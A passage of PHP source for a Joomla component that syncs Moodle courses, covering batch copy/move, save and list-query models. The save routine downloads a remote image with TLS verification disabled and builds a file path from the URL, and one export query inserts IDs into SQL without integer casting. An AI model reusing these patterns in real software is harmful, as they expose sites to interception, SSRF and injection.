$this->contentType->getTypeByTable($this->tableClassName);
		$this->canDo			= MoojlaHelper::getActions('course');
		$this->batchSet			= true;

		if (!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
			return false;
		}
        
		if ($this->type == false)
		{
			$type = new JUcmType;
			$this->type = $type->getTypeByAlias($this->typeAlias);
		}

		$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');

		if (!empty($commands['move_copy']))
		{
			$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');

			if ($cmd == 'c')
			{
				$result = $this->batchCopy($commands, $pks, $contexts);

				if (is_array($result))
				{
					foreach ($result as $old => $new)
					{
						$contexts[$new] = $contexts[$old];
					}
					$pks = array_values($result);
				}
				else
				{
					return false;
				}
			}
			elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
			{
				return false;
			}

			$done = true;
		}

		if (!$done)
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch copy items to a new category or current.
	 *
	 * @param   integer  $values    The new values.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed  An array of new IDs on success, boolean false on
failure.
	 *
	 * @since 12.2
	 */
	protected function batchCopy($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user 		= JFactory::getUser();
			$this->table 		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('course');
		}

		if (!$this->canDo->get('course.create') &&
!$this->canDo->get('course.batch'))
		{
			return false;
		}

		// get list of unique fields
		$uniqueFields = $this->getUniqueFields();
		// remove move_copy from array
		unset($values['move_copy']);

		// make sure published is set
		if (!isset($values['published']))
		{
			$values['published'] = 0;
		}
		elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
				$values['published'] = 0;
		}

		if (isset($values['category']) && (int)
$values['category'] > 0 &&
!static::checkCategoryId($values['category']))
		{
			return false;
		}
		elseif (isset($values['category']) && (int)
$values['category'] > 0)
		{
			// move the category value to correct field name
			$values['catid'] = $values['category'];
			unset($values['category']);
		}
		elseif (isset($values['category']))
		{
			unset($values['category']);
		}

		$newIds = array();
		// Parent exists so let's proceed
		while (!empty($pks))
		{
			// Pop the first ID off the stack
			$pk = array_shift($pks);

			$this->table->reset();

			// only allow copy if user may edit this item.
			if (!$this->user->authorise('course.edit',
$contexts[$pk]))
			{
				// Not fatal error
				$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
				continue;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			if (isset($values['catid']))
			{
				list($this->table->shortname, $this->table->alias) =
$this->generateNewTitle($values['catid'],
$this->table->alias, $this->table->shortname);
			}
			else
			{
				list($this->table->shortname, $this->table->alias) =
$this->generateNewTitle($this->table->catid,
$this->table->alias, $this->table->shortname);
			}

			// insert all set values
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					if (strlen($value) > 0 && isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}

			// update all unique fields
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
				}
			}

			// Reset the ID because we are making a copy
			$this->table->id = 0;

			// TODO: Deal with ordering?
			// $this->table->ordering = 1;

			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Get the new item ID
			$newId = $this->table->get('id');

			// Add the new ID to the array
			$newIds[$pk] = $newId;
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move items to a new category
	 *
	 * @param   integer  $value     The new category ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal
error is set.
	 *
	 * @since 12.2
	 */
	protected function batchMove($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user		= JFactory::getUser();
			$this->table		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('course');
		}

		if (!$this->canDo->get('course.edit') &&
!$this->canDo->get('course.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
			return false;
		}

		// make sure published only updates if user has the permission.
		if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
			unset($values['published']);
		}
		// remove move_copy from array
		unset($values['move_copy']);

		if (isset($values['category']) && (int)
$values['category'] > 0 &&
!static::checkCategoryId($values['category']))
		{
			return false;
		}
		elseif (isset($values['category']) && (int)
$values['category'] > 0)
		{
			// move the category value to correct field name
			$values['catid'] = $values['category'];
			unset($values['category']);
		}
		elseif (isset($values['category']))
		{
			unset($values['category']);
		}


		// Parent exists so we proceed
		foreach ($pks as $pk)
		{
			if (!$this->user->authorise('course.edit',
$contexts[$pk]))
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
				return false;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values.
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					// Do special action for access.
					if ('access' === $key && strlen($value) > 0)
					{
						$this->table->$key = $value;
					}
					elseif (strlen($value) > 0 &&
isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}


			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}
	
	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$input	= JFactory::getApplication()->input;
		$filter	= JFilterInput::getInstance();
        
		// set the metadata to the Item Data
		if (isset($data['metadata']) &&
isset($data['metadata']['author']))
		{
			$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
            
			$metadata = new JRegistry;
			$metadata->loadArray($data['metadata']);
			$data['metadata'] = (string) $metadata;
		}

		// Set the permanent_fields items to data.
		if (isset($data['permanent_fields']) &&
is_array($data['permanent_fields']))
		{
			$permanent_fields = new JRegistry;
			$permanent_fields->loadArray($data['permanent_fields']);
			$data['permanent_fields'] = (string) $permanent_fields;
		}
		elseif (!isset($data['permanent_fields']))
		{
			// Set the empty permanent_fields to data
			$data['permanent_fields'] = '';
		}


/***[JCBGUI.admin_view.php_save.129.$$$$]***/
	$moodleimgurl = $data["summary_files"];
	if($moodleimgurl)
    {
      $olddlpath =
JPATH_ROOT.'/media/com_moojla/images/'.urldecode(basename($moodleimgurl));
      $dlpath =
JPATH_ROOT.'/media/com_moojla/images/'.$data["remoteid"].'_'.urldecode(basename($moodleimgurl));
      if(!file_exists($dlpath) && !file_exists($olddlpath))
      {
        $ch = curl_init($moodleimgurl);
        $fp = fopen($dlpath, 'wb');
        curl_setopt($ch, CURLOPT_FILE, $fp);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_exec($ch);
        curl_close($ch);
        fclose($fp);
        $data["summary_files"] = basename($moodleimgurl) ?
'/media/com_moojla/images/'.$data["remoteid"].'_'.basename($moodleimgurl)
: '';
      }
      else
      {
        $data["summary_files"] = file_exists($dlpath) ?
'/media/com_moojla/images/'.$data["remoteid"].'_'.basename($moodleimgurl)
: '/media/com_moojla/images/'.basename($moodleimgurl);
      }
    }
    


    JPluginHelper::importPlugin("notifly");
    $dispatcher = JEventDispatcher::getInstance();
    $args = array('com_moojla.coursecreated', $data, true);
    $dispatcher->trigger("onContentAfterSave", $args);
/***[/JCBGUI$$$$]***/

        
		// Set the Params Items to data
		if (isset($data['params']) &&
is_array($data['params']))
		{
			$params = new JRegistry;
			$params->loadArray($data['params']);
			$data['params'] = (string) $params;
		}

		// Alter the shortname for save as copy
		if ($input->get('task') === 'save2copy')
		{
			$origTable = clone $this->getTable();
			$origTable->load($input->getInt('id'));

			if ($data['shortname'] == $origTable->shortname)
			{
				list($shortname, $alias) =
$this->generateNewTitle($data['catid'],
$data['alias'], $data['shortname']);
				$data['shortname'] = $shortname;
				$data['alias'] = $alias;
			}
			else
			{
				if ($data['alias'] == $origTable->alias)
				{
					$data['alias'] = '';
				}
			}

			$data['published'] = 0;
		}

		// Automatic handling of alias for empty fields
		if (in_array($input->get('task'), array('apply',
'save', 'save2new')) && (int)
$input->get('id') == 0)
		{
			if ($data['alias'] == null || empty($data['alias']))
			{
				if (JFactory::getConfig()->get('unicodeslugs') == 1)
				{
					$data['alias'] =
JFilterOutput::stringURLUnicodeSlug($data['shortname']);
				}
				else
				{
					$data['alias'] =
JFilterOutput::stringURLSafe($data['shortname']);
				}

				$table = JTable::getInstance('course',
'moojlaTable');

				if ($table->load(array('alias' =>
$data['alias'], 'catid' =>
$data['catid'])) && ($table->id !=
$data['id'] || $data['id'] == 0))
				{
					$msg = JText::_('COM_MOOJLA_COURSE_SAVE_WARNING');
				}

				list($shortname, $alias) =
$this->generateNewTitle($data['catid'],
$data['alias'], $data['shortname']);
				$data['alias'] = $alias;

				if (isset($msg))
				{
					JFactory::getApplication()->enqueueMessage($msg,
'warning');
				}
			}
		}

		// Alter the unique field for save as copy
		if ($input->get('task') === 'save2copy')
		{
			// Automatic handling of other unique fields
			$uniqueFields = $this->getUniqueFields();
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
				}
			}
		}
		
		if (parent::save($data))
		{
			return true;
		}
		return false;
	}
	
	/**
	 * Method to generate a unique value.
	 *
	 * @param   string  $field name.
	 * @param   string  $value data.
	 *
	 * @return  string  New value.
	 *
	 * @since   3.0
	 */
	protected function generateUnique($field,$value)
	{

		// set field value unique
		$table = $this->getTable();

		while ($table->load(array($field => $value)))
		{
			$value = StringHelper::increment($value);
		}

		return $value;
	}

	/**
	 * Method to change the title/s & alias.
	 *
	 * @param   string         $alias        The alias.
	 * @param   string/array   $title        The title.
	 *
	 * @return	array/string  Contains the modified title/s and/or alias.
	 *
	 */
	protected function _generateNewTitle($alias, $title = null)
	{

		// Alter the title/s & alias
		$table = $this->getTable();

		while ($table->load(array('alias' => $alias)))
		{
			// Check if this is an array of titles
			if (MoojlaHelper::checkArray($title))
			{
				foreach($title as $nr => &$_title)
				{
					$_title = StringHelper::increment($_title);
				}
			}
			// Make sure we have a title
			elseif ($title)
			{
				$title = StringHelper::increment($title);
			}
			$alias = StringHelper::increment($alias, 'dash');
		}
		// Check if this is an array of titles
		if (MoojlaHelper::checkArray($title))
		{
			$title[] = $alias;
			return $title;
		}
		// Make sure we have a title
		elseif ($title)
		{
			return array($title, $alias);
		}
		// We only had an alias
		return $alias;
	}
}
models/courses.php000064400000032112151165724400010227 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		courses.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Courses Model
 */
class MoojlaModelCourses extends JModelList
{
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
        {
			$config['filter_fields'] = array(
				'a.id','id',
				'a.published','published',
				'a.ordering','ordering',
				'a.created_by','created_by',
				'a.modified_by','modified_by',
				'c.title','category_title',
				'c.id', 'category_id',
				'a.catid','catid',
				'a.shortname','shortname',
				'a.fullname','fullname'
			);
		}

		parent::__construct($config);
	}


/***[JCBGUI.admin_view.php_model_list.129.$$$$]***/
///***[/JCBGUI$$$$]***/


	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Check if the form was submitted
		$formSubmited =
$app->input->post->get('form_submited');

		$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
		if ($formSubmited)
		{
			$access = $app->input->post->get('access');
			$this->setState('filter.access', $access);
		}

		$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
		$this->setState('filter.created_by', $created_by);

		$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
		$this->setState('filter.created', $created);

		$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
		$this->setState('filter.sorting', $sorting);

		$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$category = $app->getUserStateFromRequest($this->context .
'.filter.category', 'filter_category');
		$this->setState('filter.category', $category);

		$categoryId = $this->getUserStateFromRequest($this->context .
'.filter.category_id', 'filter_category_id');
		$this->setState('filter.category_id', $categoryId);

		$catid = $this->getUserStateFromRequest($this->context .
'.filter.catid', 'filter_catid');
		if ($formSubmited)
		{
			$catid = $app->input->post->get('catid');
			$this->setState('filter.catid', $catid);
		}

		$shortname = $this->getUserStateFromRequest($this->context .
'.filter.shortname', 'filter_shortname');
		if ($formSubmited)
		{
			$shortname = $app->input->post->get('shortname');
			$this->setState('filter.shortname', $shortname);
		}

		$fullname = $this->getUserStateFromRequest($this->context .
'.filter.fullname', 'filter_fullname');
		if ($formSubmited)
		{
			$fullname = $app->input->post->get('fullname');
			$this->setState('filter.fullname', $fullname);
		}

		// List state information.
		parent::populateState($ordering, $direction);
	}
	
	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		// check in items
		$this->checkInNow();

		// load parent items
		$items = parent::getItems();

		// Set values to display correctly.
		if (MoojlaHelper::checkArray($items))
		{
			// Get the user object if not set.
			if (!isset($user) || !MoojlaHelper::checkObject($user))
			{
				$user = JFactory::getUser();
			}
			foreach ($items as $nr => &$item)
			{
				// Remove items the user can't access.
				$access = ($user->authorise('course.access',
'com_moojla.course.' . (int) $item->id) &&
$user->authorise('course.access', 'com_moojla'));
				if (!$access)
				{
					unset($items[$nr]);
					continue;
				}

			}
		}
        
		// return items
		return $items;
	}
	
	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return	string	An SQL query
	 */
	protected function getListQuery()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Create a new query object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Select some fields
		$query->select('a.*');
		$query->select($db->quoteName('c.title','category_title'));

		// From the moojla_item table
		$query->from($db->quoteName('#__moojla_course',
'a'));
		$query->join('LEFT',
$db->quoteName('#__categories', 'c') . ' ON
(' . $db->quoteName('a.catid') . ' = ' .
$db->quoteName('c.id') . ')');

		// Filter by published state
		$published = $this->getState('filter.published');
		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published = 0 OR a.published = 1)');
		}
		// Filter by search.
		$search = $this->getState('filter.search');
		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search) .
'%');
				$query->where('(a.shortname LIKE '.$search.' OR
a.fullname LIKE '.$search.' OR a.catid LIKE '.$search.'
OR a.remoteid LIKE '.$search.')');
			}
		}


		// Filter by a single or group of categories.
		$baselevel = 1;
		$categoryId = $this->getState('filter.category_id');

		if (is_numeric($categoryId))
		{
			$cat_tbl = JTable::getInstance('Category',
'JTable');
			$cat_tbl->load($categoryId);
			$rgt = $cat_tbl->rgt;
			$lft = $cat_tbl->lft;
			$baselevel = (int) $cat_tbl->level;
			$query->where('c.lft >= ' . (int) $lft)
				->where('c.rgt <= ' . (int) $rgt);
		}
		elseif (is_array($categoryId))
		{
			$categoryId = ArrayHelper::toInteger($categoryId);
			$categoryId = implode(',', $categoryId);
			$query->where('a.catid IN (' . $categoryId .
')');
		}


		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'a.id');
		$orderDirn = $this->state->get('list.direction',
'desc');
		if ($orderCol != '')
		{
			$query->order($db->escape($orderCol . ' ' .
$orderDirn));
		}

		return $query;
	}

	/**
	 * Method to get list export data.
	 *
	 * @param   array  $pks  The ids of the items to get
	 * @param   JUser  $user  The user making the request
	 *
	 * @return mixed  An array of data items on success, false on failure.
	 */
	public function getExportData($pks, $user = null)
	{
		// setup the query
		if (($pks_size = MoojlaHelper::checkArray($pks)) !== false ||
'bulk' === $pks)
		{
			// Set a value to know this is export method. (USE IN CUSTOM CODE TO
ALTER OUTCOME)
			$_export = true;
			// Get the user object if not set.
			if (!isset($user) || !MoojlaHelper::checkObject($user))
			{
				$user = JFactory::getUser();
			}
			// Create a new query object.
			$db = JFactory::getDBO();
			$query = $db->getQuery(true);

			// Select some fields
			$query->select('a.*');

			// From the moojla_course table
			$query->from($db->quoteName('#__moojla_course',
'a'));
			// The bulk export path
			if ('bulk' === $pks)
			{
				$query->where('a.id > 0');
			}
			// A large array of ID's will not work out well
			elseif ($pks_size > 500)
			{
				// Use lowest ID
				$query->where('a.id >= ' . (int) min($pks));
				// Use highest ID
				$query->where('a.id <= ' . (int) max($pks));
			}
			// The normal default path
			else
			{
				$query->where('a.id IN (' . implode(',',$pks) .
')');
			}

			// Order the results by ordering
			$query->order('a.ordering  ASC');

			// Load the items
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				$items = $db->loadObjectList();

				// Set values to display correctly.
				if (MoojlaHelper::checkArray($items))
				{
					foreach ($items as $nr => &$item)
					{
						// Remove items the user can't access.
						$access = ($user->authorise('course.access',
'com_moojla.course.' . (int) $item->id) &&
$user->authorise('course.access', 'com_moojla'));
						if (!$access)
						{
							unset($items[$nr]);
							continue;
						}

						// unset the values we don't want exported.
						unset($item->asset_id);
						unset($item->checked_out);
						unset($item->checked_out_time);
					}
				}
				// Add headers to items array.
				$headers = $this->getExImPortHeaders();
				if (MoojlaHelper::checkObject($headers))
				{
					array_unshift($items,$headers);
				}
				return $items;
			}
		}
		return false;
	}

	/**
	* Method to get header.
	*
	* @return mixed  An array of data items on success, false on failure.
	*/
	public function getExImPortHeaders()
	{
		// Get a db connection.
		$db = JFactory::getDbo();
		// get the columns
		$columns = $db->getTableColumns("#__moojla_course");
		if (MoojlaHelper::checkArray($columns))
		{
			// remove the headers you don't import/export.
			unset($columns['asset_id']);
			unset($columns['checked_out']);
			unset($columns['checked_out_time']);
			$headers = new stdClass();
			foreach ($columns as $column => $type)
			{
				$headers->{$column} = $column;
			}
			return $headers;
		}
		return false;
	}
	
	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * @return  string  A store id.
	 *
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.ordering');
		$id .= ':' . $this->getState('filter.created_by');
		$id .= ':' .
$this->getState('filter.modified_by');
		// Check if the value is an array
		$_category = $this->getState('filter.category');
		if (MoojlaHelper::checkArray($_category))
		{
			$id .= ':' . implode(':', $_category);
		}
		// Check if this is only an number or string
		elseif (is_numeric($_category)
		 || MoojlaHelper::checkString($_category))
		{
			$id .= ':' . $_category;
		}
		// Check if the value is an array
		$_category_id = $this->getState('filter.category_id');
		if (MoojlaHelper::checkArray($_category_id))
		{
			$id .= ':' . implode(':', $_category_id);
		}
		// Check if this is only an number or string
		elseif (is_numeric($_category_id)
		 || MoojlaHelper::checkString($_category_id))
		{
			$id .= ':' . $_category_id;
		}
		// Check if the value is an array
		$_catid = $this->getState('filter.catid');
		if (MoojlaHelper::checkArray($_catid))
		{
			$id .= ':' . implode(':', $_catid);
		}
		// Check if this is only an number or string
		elseif (is_numeric($_catid)
		 || MoojlaHelper::checkString($_catid))
		{
			$id .= ':' . $_catid;
		}
		$id .= ':' . $this->getState('filter.shortname');
		$id .= ':' . $this->getState('filter.fullname');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to checkin all items left checked out longer then a
set time.
	 *
	 * @return  a bool
	 *
	 */
	protected function checkInNow()
	{
		// Get set check in time
		$time =
JComponentHelper::getParams('com_moojla')->get('check_in');

		if ($time)
		{

			// Get a db connection.
			$db = JFactory::getDbo();
			// reset query
			$query = $db->getQuery(true);
			$query->select('*');
			$query->from($db->quoteName('#__moojla_course'));
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				// Get Yesterdays date
				$date = JFactory::getDate()->modify($time)->toSql();
				// reset query
				$query = $db->getQuery(true);

				// Fields to update.
				$fields = array(
					$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
					$db->quoteName('checked_out') . '=0'
				);

				// Conditions for which records should be updated.
				$conditions = array(
					$db->quoteName('checked_out') . '!=0', 
					$db->quoteName('checked_out_time') .
'<\''.$date.'\''
				);

				// Check table
				$query->update($db->quoteName('#__moojla_course'))->set($fields)->where($conditions);


				$db->setQuery($query);

				$db->execute();
			}
		}

		return false;
	}
}
models/course_fields_mapper.php000064400000027307151165724400012750
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_fields_mapper.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Course_fields_mapper Model
 */
class MoojlaModelCourse_fields_mapper extends JModelList
{
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
        {
			$config['filter_fields'] = array(
				'a.id','id',
				'a.published','published',
				'a.access','access',
				'a.ordering','ordering',
				'a.created_by','created_by',
				'a.modified_by','modified_by'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Check if the form was submitted
		$formSubmited =
$app->input->post->get('form_submited');

		$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
		if ($formSubmited)
		{
			$access = $app->input->post->get('access');
			$this->setState('filter.access', $access);
		}

		$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
		$this->setState('filter.created_by', $created_by);

		$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
		$this->setState('filter.created', $created);

		$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
		$this->setState('filter.sorting', $sorting);

		$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		// List state information.
		parent::populateState($ordering, $direction);
	}
	
	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		// check in items
		$this->checkInNow();

		// load parent items
		$items = parent::getItems();

/***[JCBGUI.admin_view.php_getitems_after_all.138.$$$$]***/
  /*foreach($items as $ind => $it)
  {
    $items[$ind]->field_icon = JUri::root().$it->field_icon;
  }*/
  foreach($items as $index => $it)
  {
    $items[$index]->mcoursefields_id = $it->mcoursefields;
  }/***[/JCBGUI$$$$]***/

        
		// return items
		return $items;
	}
	
	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return	string	An SQL query
	 */
	protected function getListQuery()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Create a new query object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Select some fields
		$query->select('a.*');

		// From the moojla_item table
		$query->from($db->quoteName('#__moojla_course_field_mapper',
'a'));

		// From the fields table.
		$query->select($db->quoteName('g.name','coursefield_name'));
		$query->join('LEFT',
$db->quoteName('#__fields', 'g') . ' ON ('
. $db->quoteName('a.coursefield') . ' = ' .
$db->quoteName('g.id') . ')');

		// From the moojla_course_field_mapper table.
		$query->select($db->quoteName('h.id','mcoursefields_id'));
		$query->join('LEFT',
$db->quoteName('#__moojla_course_field_mapper', 'h')
. ' ON (' . $db->quoteName('a.mcoursefields') .
' = ' . $db->quoteName('h.id') . ')');

		// Filter by published state
		$published = $this->getState('filter.published');
		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published = 0 OR a.published = 1)');
		}

		// Join over the asset groups.
		$query->select('ag.title AS access_level');
		$query->join('LEFT', '#__viewlevels AS ag ON ag.id =
a.access');
		// Filter by access level.
		$_access = $this->getState('filter.access');
		if ($_access && is_numeric($_access))
		{
			$query->where('a.access = ' . (int) $_access);
		}
		elseif (MoojlaHelper::checkArray($_access))
		{
			// Secure the array for the query
			$_access = ArrayHelper::toInteger($_access);
			// Filter by the Access Array.
			$query->where('a.access IN (' . implode(',',
$_access) . ')');
		}
		// Implement View Level Access
		if (!$user->authorise('core.options',
'com_moojla'))
		{
			$groups = implode(',', $user->getAuthorisedViewLevels());
			$query->where('a.access IN (' . $groups . ')');
		}
		// Filter by search.
		$search = $this->getState('filter.search');
		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search) .
'%');
				$query->where('(a.coursefield LIKE '.$search.' OR
g.name LIKE '.$search.' OR a.mcoursefields LIKE
'.$search.' OR h.id LIKE '.$search.')');
			}
		}


		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'a.id');
		$orderDirn = $this->state->get('list.direction',
'desc');
		if ($orderCol != '')
		{
			$query->order($db->escape($orderCol . ' ' .
$orderDirn));
		}

		return $query;
	}

	/**
	 * Method to get list export data.
	 *
	 * @param   array  $pks  The ids of the items to get
	 * @param   JUser  $user  The user making the request
	 *
	 * @return mixed  An array of data items on success, false on failure.
	 */
	public function getExportData($pks, $user = null)
	{
		// setup the query
